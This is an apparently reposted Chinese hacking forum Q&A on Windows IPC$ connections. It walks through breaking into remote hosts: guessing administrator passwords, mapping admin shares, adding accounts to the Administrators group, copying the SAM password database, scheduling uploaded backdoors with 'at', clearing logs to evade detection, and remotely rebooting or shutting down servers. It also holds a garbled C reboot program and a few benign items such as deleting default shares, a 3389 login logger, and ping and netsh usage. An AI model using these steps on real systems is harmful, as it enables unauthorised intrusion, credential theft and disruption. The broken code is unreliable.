IPC$連接常見問答

十五 ipc$入侵問答精選
1.進(jìn)行ipc$入侵的時(shí)候，會(huì)在服務(wù)器中留下記錄，有什么辦法可以不讓服務(wù)器發(fā)現(xiàn)嗎？

答：留下記錄是一定的，你走后用清除日志程序刪除就可以了，或者用肉雞入侵。

2.你看下面的情況是為什么，可以連接但不能復(fù)制
net use \\***.***.***.***\ipc$ "密碼" /user:"用戶名"
命令成功
copy icmd.exe \\***.***.***.***\admin$
找不到網(wǎng)絡(luò)路徑
命令不成功

答：像“找不到網(wǎng)絡(luò)路徑”“找不到網(wǎng)絡(luò)名”之類的問題，大多是因?yàn)槟阆胍獜?fù)制到的共享文件夾沒有開啟，所以在復(fù)制的時(shí)候會(huì)出現(xiàn)錯(cuò)誤，你可以試著找找其他的共享文件夾。

3.如果對(duì)方開了IPC$，且能建立空聯(lián)接，但打開C、D盤時(shí)，都要求密碼，我知道是空連接沒有太多的權(quán)限，但沒別的辦法了嗎？

答：建議先用流光或者別的什么掃描軟件試著猜解一下密碼，如果猜不出來，只能放棄，畢竟空連接的能力有限。

4.我已經(jīng)猜解到了管理員的密碼，且已經(jīng)ipc$連接成功了，但net view \\ip發(fā)現(xiàn)它沒開默認(rèn)共享，我該怎么辦？

答：首先糾正你的一個(gè)錯(cuò)誤，用net view \\ip是無法看到默認(rèn)共享的，你可以試著將文件復(fù)制到c$，d$看看，如果都不行，說明他關(guān)閉了默認(rèn)共享，那你就用opentelnet.exe或psexec.exe吧，用法上面有。

5.ipc$連接成功后，我用下面的命令建立了一個(gè)帳戶，卻發(fā)現(xiàn)這個(gè)帳戶在我自己的機(jī)器上，這是怎么回事？
net uset ccbirds /add

答：ipc$建立成功只能說明你與遠(yuǎn)程主機(jī)建立了通信隧道，并不意味你取得了一個(gè)shell，只有在獲得一個(gè)shell（比如telnet）之后，你才能在遠(yuǎn)程機(jī)器建立一個(gè)帳戶，否則你的操作只是在本地進(jìn)行。

6.我已進(jìn)入了一臺(tái)肉機(jī)，用的管理員帳號(hào)，可以看他的系統(tǒng)時(shí)間，但是復(fù)制程序到他的機(jī)子上卻不行，每次都提示“拒絕訪問，已復(fù)制0個(gè)文件”，是不是對(duì)方有什么服務(wù)沒開，我該怎么辦？

答：一般來說“拒絕訪問”都是權(quán)限不夠的結(jié)果，可能是你用的帳戶有問題，還有一種可能，如果你想向普通共享文件夾復(fù)制文件卻返回這個(gè)錯(cuò)誤，說明這個(gè)文件夾設(shè)置的允許訪問用戶中不包括你（哪怕你是管理員），這一點(diǎn)我在上一期文章中分析了。

7.我用Win98能與對(duì)方建立ipc$連接嗎？

答：理論上不可以，要進(jìn)行ipc$的操作，建議用win2000，用其他操作系統(tǒng)會(huì)帶來許多不必要的麻煩。

8.我用net use \\ip\ipc$ "" /user ""成功的建立了一個(gè)空會(huì)話，但用nbtstat -A IP 卻無法導(dǎo)出用戶列表，這是為什么？

答：空會(huì)話在默認(rèn)的情況下是可以導(dǎo)出用戶列表的，但如果管理員通過修改注冊(cè)表來禁止導(dǎo)出列表，就會(huì)出現(xiàn)你所說的情況；還有可能是你自己的NBT沒有打開，netstat命令是建立在NBT之上的。　　

9.我建立ipc$連接的時(shí)候返回如下信息：‘提供的憑據(jù)與已存在的憑據(jù)集沖突’，怎么回事？

答：呵呵，這說明你已經(jīng)與目標(biāo)主機(jī)建立了ipc$連接，兩個(gè)主機(jī)間同時(shí)建立兩個(gè)ipc$連接是不允許的。

10.我在映射的時(shí)候出現(xiàn)：
F:\>net use h: \\211.161.134.*\e$
系統(tǒng)發(fā)生 85 錯(cuò)誤。
本地設(shè)備名已在使用中。這是怎么回事？

答：你也太粗心了吧，這說明你有一個(gè)h盤了，映射到?jīng)]有的盤符吧！

11.我建立了一個(gè)連接f:\>net use \\*.*.*.*\ipc$ "123" /user:"guest" 成功了，但當(dāng)我映射時(shí)出現(xiàn)了錯(cuò)誤，向我要密碼，怎么回事？
F:\>net use h: \\*.*.*.*\c$
密碼在 \\*.*.*.*\c$ 無效。
請(qǐng)鍵入 \\*.*.*.*\c$ 的密碼:
系統(tǒng)發(fā)生 5 錯(cuò)誤。
拒絕訪問。

答：呵呵，向你要密碼說明你當(dāng)前使用的用戶權(quán)限不夠，不能映射C$這個(gè)默認(rèn)共享，想辦法提升權(quán)限或者找管理員的弱口令吧！默認(rèn)共享一般是需要管理員權(quán)限的。

12.我用superscan掃到了一個(gè)開了139端口的主機(jī)，但為什么不能空連接呢？

答：你混淆了ipc$與139的關(guān)系，能進(jìn)行ipc$連接的主機(jī)一定開了139或445端口，但開這兩個(gè)端口的主機(jī)可不一定能空連接，因?yàn)閷?duì)方可以關(guān)閉ipc$共享.

13.我門局域網(wǎng)里的機(jī)器大多都是xp，我用流光掃描到幾個(gè)administrator帳號(hào)口令是空，而且可以連接，但不能復(fù)制東西，說錯(cuò)誤5。請(qǐng)問為什么？

答：xp的安全性要高一些，在安全策略的默認(rèn)設(shè)置中，對(duì)本地帳戶的網(wǎng)絡(luò)登錄進(jìn)行身份驗(yàn)證的時(shí)候，默認(rèn)為來賓權(quán)限，即使你用管理員遠(yuǎn)程登錄，也只具有來賓權(quán)限，因此你復(fù)制文件，當(dāng)然是錯(cuò)誤5：權(quán)限不夠。

14.我用net use \\192.168.0.2\ipc$ "password" /user:"administrator" 成功，可是 net use i: \\192.168.0.2\c
出現(xiàn)請(qǐng)鍵入 \\192.168.0.2 的密碼，怎么回事情呢？我用的可是管理員呀？應(yīng)該什么都可以訪問呀？

答：雖然你具有管理員權(quán)限，但管理員在設(shè)置c盤共享權(quán)限時(shí)（注意：普通共享可以設(shè)置訪問權(quán)限，而默認(rèn)共享則不能）可能并未設(shè)置允許administrator訪問，所以會(huì)出現(xiàn)上述問題。

15.如果自己的機(jī)器禁止了ipc$, 是不是還可以用ipc$連接別的機(jī)器？如果禁止server服務(wù)呢？

答：禁止以上兩項(xiàng)仍可以發(fā)起ipc$連接，不過這種問題自己動(dòng)手試驗(yàn)會(huì)更好。

16.能告訴我下面的兩個(gè)錯(cuò)誤產(chǎn)生的原因嗎？
c:\>net time \\61.225.*.*
系統(tǒng)發(fā)生 5 錯(cuò)誤。
拒絕訪問。

c:\>net view \\61.225.*.*
系統(tǒng)發(fā)生 5 錯(cuò)誤。
拒絕訪問。

答：起初遇到這個(gè)問題的時(shí)候我也很納悶，錯(cuò)誤5表示權(quán)限不夠，可是連空會(huì)話的權(quán)限都可以完成上面的兩個(gè)命令，他為什么不行呢？難道是他沒建立連接？后來那個(gè)粗心的同志告訴我的確是這樣，他忘記了自己已經(jīng)刪了ipc$連接，之后他又輸入了上面那兩個(gè)命令，隨之發(fā)生了錯(cuò)誤5。

17.您看看這是怎么回事？
F:\>net time
找不到時(shí)間服務(wù)器。
請(qǐng)鍵入 NET HELPMSG 3912 以獲得更多的幫助。

答：答案很簡單，你的命令錯(cuò)了，應(yīng)該是net time \\ip
沒輸入ip地址，當(dāng)然找不到服務(wù)器。view的命令也應(yīng)該有ip地址，即：net view \\ip

如何查看本機(jī)所開端口(2)

發(fā)布日期：2005-12-27 0:38:18 作者：未知出處：互聯(lián)網(wǎng)

16）如何再命令行下殺死對(duì)方進(jìn)程？

利用微軟的2K以上操作系統(tǒng)都是含有這個(gè)工具的！該工具包含在2K光盤的\support\tools文件夾下！里面有安裝程序，點(diǎn)擊后，就安裝了2K的support tools工具包，里面有kill這個(gè)工具，這時(shí)候再cmd下可以輸入kill/?，就可以看到幫助了，使用這個(gè)命令的格式是：kill pid （pid是進(jìn)程的ID號(hào)！）再任務(wù)管理器中可以看到進(jìn)程的ID號(hào)！（不知道有幾位朋友用過藍(lán)色火焰？呵呵，用法跟這個(gè)一摸一樣！還有很多類似的木馬、后門軟件都有類似的功能！這個(gè)是windows自帶的大木馬『后門工具』而已！）

這時(shí)候，有朋友問了，那再命令行下如何查看進(jìn)程呢？呵呵，這就用到了系統(tǒng)自帶的有一個(gè)后門工具了：再剛才說得那個(gè)目錄中，還有一個(gè)工具叫tlist 看名字就能看出來是干什么的吧？用法更簡單！直接輸入tlist就可以得到pid遇隊(duì)形程序的列表了～

那對(duì)方機(jī)器如果沒有安裝這兩個(gè)程序怎么辦呢？沒關(guān)系，你把你操作系統(tǒng)盤符下面programfiles\support tools目錄下面的這兩個(gè)對(duì)應(yīng)的exe文件上傳到對(duì)方的winnt\system32目錄中就可以了！呵呵～

×××××××××××××××××××××××××××××××××××××××××××××

17）上次說了ping的基本用法，這次談?wù)刾ing的命令參數(shù)！

這個(gè)是本次問題集的重點(diǎn)部分！無論是小鳥還是老鳥，你們能保證你真的對(duì)這些參數(shù)了如指掌么？恐怕都未必！還是好好看看吧！

這是TCP／IP協(xié)議中最有用的命令之一

它給另一個(gè)系統(tǒng)發(fā)送一系列的數(shù)據(jù)包，該系統(tǒng)本身又發(fā)回一個(gè)響應(yīng)，這條實(shí)用程序?qū)Σ檎疫h(yuǎn)程主機(jī)很有用，它返回的結(jié)果表示是否能到達(dá)主機(jī)，宿主機(jī)發(fā)送一個(gè)返回?cái)?shù)據(jù)包需要多長時(shí)間。

Usage： ping ［-t］ ［-a］ ［-n count］［-l size］ ［-f］ ［-i TTL］ ［-v TOS］
［-r count］ ［-s count］ ［［-j host-list］ ［-k host-list］］
［-w timeout］ destination-list

Options：

-t Ping the specifed host until interrupted.（除非人為中止，否則一直ping下去）

-a Resolve addresses to hostnames.（把IP轉(zhuǎn)為主機(jī)名）

-n count Number of echo requests to send.（響應(yīng)請(qǐng)求的數(shù)量）

-l size Send buffer size.（封包的大小）

-f Set Don`t Fragment flag in packet.（信息包中無碎片）

-i TTL Time To Live.（時(shí)間）

-v TOS Type Of Service.（服務(wù)類型）

-r count Record route for count hops.

-s count Timestamp for count hops.

-j host-list Loose source route along host-list.

-k host-list Strict source route along host-list.（較嚴(yán)格的……唉，怎么譯好……算了，放著吧）

-w timeout Timeout in milliseconds to wait for each reply.（timeout的時(shí)間）

比如大家可能都知道的一個(gè)命令 # ping -f -s 65000 ***.***.***.***或者前階段大家所謂ping死霉國佬時(shí)所用的命令（當(dāng)然這樣只會(huì)造成我方自己的網(wǎng)絡(luò)阻塞）。

其實(shí)這個(gè)命令主要是用來看對(duì)方應(yīng)答的速度，如果怎么ping 得到的結(jié)果都是request time out。那恐怕你根本就不用你去找這臺(tái)主機(jī)了，它不在你的射程之內(nèi)。

×××××××××××××××××××××××××××××××××××××××××××××

18）如何查看本機(jī)的DNS服務(wù)器？

ipconfig其實(shí)是可以的（呵呵，上次就介紹過這個(gè)命令），除此以外，還可以利用一個(gè)命令：再cmd下輸入netsh，進(jìn)入到netsh>提示符，再輸入：int ip 進(jìn)入到interface ip> 然后再次輸入dump，這時(shí)候屏幕上出現(xiàn)當(dāng)前連接的配置情況了

這里必須介紹一下netsh到底是作什么用的！這個(gè)命令比較復(fù)雜，他包含了很多的子命令，所以這里只對(duì)部分命令進(jìn)行講解：

1）查看本機(jī)IP：首先鍵入netsh，再netsh>提示符下輸入：interface 回車 之后：ip 回車 再之后：show address 回車這樣，就可以看到當(dāng)前連接的IP地址和子網(wǎng)掩碼。（其實(shí)這個(gè)命令不如ipconfig簡單，也不如ipconfig/all全面）

2）修改網(wǎng)絡(luò)配置：接著上面的命令，我們使用：set address name=“本地連接” source=static addr=192.168.0.200 mask=255.255.255.0，這樣就修改了當(dāng)前的IP地址，用show address來看看（或者用ipconfig）

3）顯示一個(gè)完整的網(wǎng)絡(luò)配置教本：

剛才說過，第一個(gè)命令顯示的信息不如ipconfig/all全面，不用著急，netsh再打印顯示網(wǎng)絡(luò)配置上，還是有自己的特色的！例如：再interface ip>狀態(tài)下輸入：dump，會(huì)顯示一個(gè)清單，顯示所有本地連接（不管你是否使用～）與netstat -an不完全一樣！

這就是netsh的簡單介紹和最基礎(chǔ)的用法！希望大家能夠掌握！還可以輸入？來查看幫助！（要在netsh>提示符下才能查看幫助啊～）

19）肉雞上的部分文件無法刪除，怎么辦？

如果對(duì)方的文件夾是只讀的話，會(huì)出現(xiàn)拒絕訪問的字樣！這時(shí)候，我們可以再del命令后面加上/f參數(shù)來刪除！

20）再說一個(gè)可以限制用戶登陸時(shí)間的命令！

再net命令中就可以實(shí)現(xiàn)這樣的功能！具體方法如下：

假如我們打算讓：coldcrysky這個(gè)用戶再周日到周易的上午八點(diǎn)到下午四點(diǎn)之間可以登陸，用這個(gè)命令：

net user coldcrysky /timesunday-monday,08:00-16:00

之后利用net user coldcrysky命令來查看登陸時(shí)間的限制，可以看到是我們所規(guī)定的時(shí)間（因?yàn)槭侵形牡?#xff0c;很容易懂，我就不多廢話了）

在此，特別提醒各位：命令中：星期日才是一周的開始！！！不要當(dāng)成星期一！

光說了怎么設(shè)置，如果想恢復(fù)回去怎么辦呢？（就是恢復(fù)成默認(rèn)狀態(tài)，任何時(shí)間都可以登陸的狀態(tài)）

看我的：net user coldcrysky /time:all --這樣就可以了～

22)如何刪除windows2K的默認(rèn)貢獻(xiàn)？

首先打開記事本，輸入如下內(nèi)容：

net share c$ /delete
net share d$ /delete
net share e$ /delete
net share f$ /delete
net share g$ /delete
net share ipc$ /delete
net share admin$ /delete

這里的c$、d$、e$……是代表默認(rèn)共享的盤符～又幾個(gè)就設(shè)置幾個(gè)就可以了～

之后點(diǎn)擊保存成批處理文件（后綴為：bat的文件！）！加入到啟動(dòng)組中就可以了～

23）139端口的又一用法

呵呵，寫這個(gè)帖子的原因是因?yàn)槲掖饝?yīng)給一個(gè)朋友回復(fù)139端口的作用來著……先聲明兩點(diǎn)：1）不要利用本帖所提到的方法去搞惡意破壞！2）呵呵，可能許多人已經(jīng)知道了139端口這個(gè)用法了～本文只想起到一個(gè)拋磚引玉的作用！

廢話不多說了～開始：

如果你使用NT主機(jī)的話，那你可要注意了！
重啟NT主機(jī)的方法如下：

1：Net use \\XXX.XXX.XXX.XXX\ipc$ "password" /user:"username"
建立一個(gè)IPC連接

2：net use H: \\XXX.XXX.XXX.XXX\C$
將對(duì)方的C盤映射為自己的h盤

3：copy c on h:\reboot.bat
Iisreset /reboot
CTRL+Z
在對(duì)方的C盤上生成一個(gè)能重啟機(jī)器的文件

4：net time \\XXX.XXX.XXX.XXX
得到對(duì)方機(jī)器時(shí)間

5：at \\XXX.XXX.XXX.XXX 重啟的時(shí)間 c:\reboot.bat
設(shè)定對(duì)方重啟的時(shí)間！

6：at \\XXX.XXX.XXX.XXX
查看任務(wù)上面是否添加了這個(gè)任務(wù)

7：等對(duì)方重啟好了～

上面的第三步是only for Win2K的，如果是Nt，就需要用意個(gè)指定的重啟程序，我們可以自己編寫一個(gè)reboot.exe來代替reboot.bat，代碼如下：
#include "stdio.h"
#include "windows.h"
int main()
{
file://定義重啟的時(shí)候發(fā)送給所有用戶的消息
LPSTR msg="Reboot Tool By LionHook\nhttp://www.xici.net";;
file://嘗試用最簡單的API函數(shù)重啟
if(ExitWindowXXX(EWX_REBOOT.0))return TRUE;
if(ExitWindowXXX(EWX_REBOOT | EWX_FORCE,0))return TRUE;
file://因?yàn)樯厦娴闹貑⒉怀晒?#xff0c;所以需要調(diào)整本進(jìn)程的特權(quán)
HANDLE hToken;
TOKEN_PRIVILEGES tkp;
if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES |TOKEN_QUERY,&hToken)) return FALSE;
file://獲取重啟的特權(quán) SE_SHUTDOWN_NAME
LookupPrivilegevalues(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
tkp.PrivilegeCount=1;
tkp.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
AdjustTokenPrivileges(hToken,FALSE,&tkp,0,(POTKEN_PRIVILEGES)NULL,0);
file://判斷是NT內(nèi)核還是9X內(nèi)核，選擇用不同的方式
if(!GetVersion()& 0x80000000))
InitiateSystemShutdown(NULL,msg,20,TRUE,TRUE);
else if (!ExitWindowXXX(EWX_REBOOT,0))
if(!ExitWindowXXX(EWX_REBOOT|EWX_FORCE,0))
return FALSE;
return TRUE;

對(duì)了，再次說明啊，別用本文提到的方法搞破壞，小心警察叔叔打PP～呵呵

24）利用批處理文件來建立一個(gè)記錄3389登陸者信息的記錄器

由于Terminal Service默認(rèn)是沒有日志記錄的，只能依靠他的系統(tǒng)日志，但是系統(tǒng)日志只能記錄一些大動(dòng)作（開啟或停止服務(wù)），那么，如何用批處理文件來編寫一個(gè)將是3389端口的程序呢？很簡單：

建立一個(gè)批處理文件：內(nèi)容如下：

@echo off
date/t >> c:\3389log.txt
:TS3389
time/t >> c:\3389log.txt
netstat -an | find "3389" |find "ESTABLISHED" >>c:\3389log.txt
goto :TS3389

之后保存！

如果有人用你的3389登陸你的機(jī)器，呵呵，在c盤下就有3389log.txt這個(gè)文件！記錄了當(dāng)天日志，還有連接時(shí)間……資料～開始反擊～呵呵

25）網(wǎng)絡(luò)命令小節(jié)（最近因?yàn)樾聦W(xué)HACK的朋友人數(shù)上漲了～所以把我的這個(gè)陳年老調(diào)又一次拿出來，因?yàn)槭俏覄倎鞸8S8的時(shí)候就整理的了，所以可能會(huì)有些錯(cuò)誤的地方，如果發(fā)現(xiàn)請(qǐng)幫忙指出！）--呵呵，第一個(gè)問題只對(duì)菜鳥有作用！如果你是高手或者是自認(rèn)為高手的話，請(qǐng)從第二題看起！

A、NET命令：

IPC連接：格式 net use \\對(duì)方IP\ipc$ "密碼" user:"用戶名" 『建立IPC連接～』
net use \\對(duì)方IP\ipc$ /delete 『斷開連接～』

以下操作需要在連接到對(duì)方主機(jī)后才可進(jìn)行！！！

net user coldcrysky xyz /add 『在連接的目標(biāo)主機(jī)中加入一個(gè)用戶名為COLDCRYSKY 密碼為WYZ的用戶』

net localgroup Administrator coldcrysky /add 『把名為coldcrysky的用戶加入ADMIN組-以為著權(quán)限的提高啊！！！^_^』

net use z:\\對(duì)方IP\C$ 『把對(duì)方的C盤映射為本機(jī)的Z盤-可依照需要更改映射盤符！』
net start telnet 『開啟TELNET』
net user guest /active:yes 『激活GUEST』
net user guest coldcrysky 『把GUEST密碼改為COLDCRYSKY』

B、AT命令：

查看遠(yuǎn)程機(jī)時(shí)間：net time \\對(duì)方IP

加入一項(xiàng)新任務(wù)：

at \\對(duì)方IP 時(shí)間 文件名『用來把自己上傳的后門程序在制定時(shí)間運(yùn)行，方便以后進(jìn)入肉雞！』

C、TELNET命令：

telnet 對(duì)方IP 端口『作用不用我說了吧？？？』

D、FTP命令：

登陸：ftp 對(duì)方網(wǎng)址（IP地址）
上傳文件：get 文件在本機(jī)完整路徑 對(duì)方文件存放完整路徑
下載文件：put 對(duì)方文件完整路徑 本機(jī)存放文件路徑

E、COPY命令：

在建立連接后（尤其是IPC$連接后，很有用的命令哦～）
⑴copy index.htm \\127.0.0.1\c$\index.htm
『將本機(jī)index.htm文件復(fù)制到127.0.0.1的C盤下，如果要放到對(duì)方的NT目錄下，則把C改為admin$』
⑵copy \\127.0.0.1\admin\repair\sam_ c: 『將遠(yuǎn)程機(jī)數(shù)據(jù)庫文件拷貝到本機(jī)C盤根目錄下』F、SET命令：

主要用于分析目標(biāo)計(jì)算機(jī)的基本信息用！具體使用方法請(qǐng)查找相關(guān)文件！

G、NBTSTAT命令：

nbtstat -A 對(duì)方IP （這個(gè)A大寫）

『在其中顯示<037>前面的英文或數(shù)字就是計(jì)算機(jī)名稱！當(dāng)然，也可以利用PING -A 對(duì)方ip的方法來查看對(duì)方主機(jī)名！效果相同！！！』

H、SHUTDOWN命令：

『用來關(guān)閉對(duì)方NT服務(wù)的命令』格式如下：
shutdown \\IP地址 t:20
『20秒后自動(dòng)關(guān)閉對(duì)方NT服務(wù)！由于對(duì)對(duì)方機(jī)器影響較大，慎用！！！』

I、DIR命令：

還用我說么？大家是不是早就該掌握了？？？（不知道的還是查閱相關(guān)資料吧～～～）

J、ECHO命令：

echo coldcrysky >index.htm 『用coldcrysky覆蓋掉原INDEX.HTM中所有內(nèi)容』
echo coldcrysky >>index.htm 『把coldcrysky加入到index.htm中』

?

總結(jié)

以上是生活随笔為你收集整理的IPC$连接常见问答的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò)，歡迎將生活随笔推薦給好友。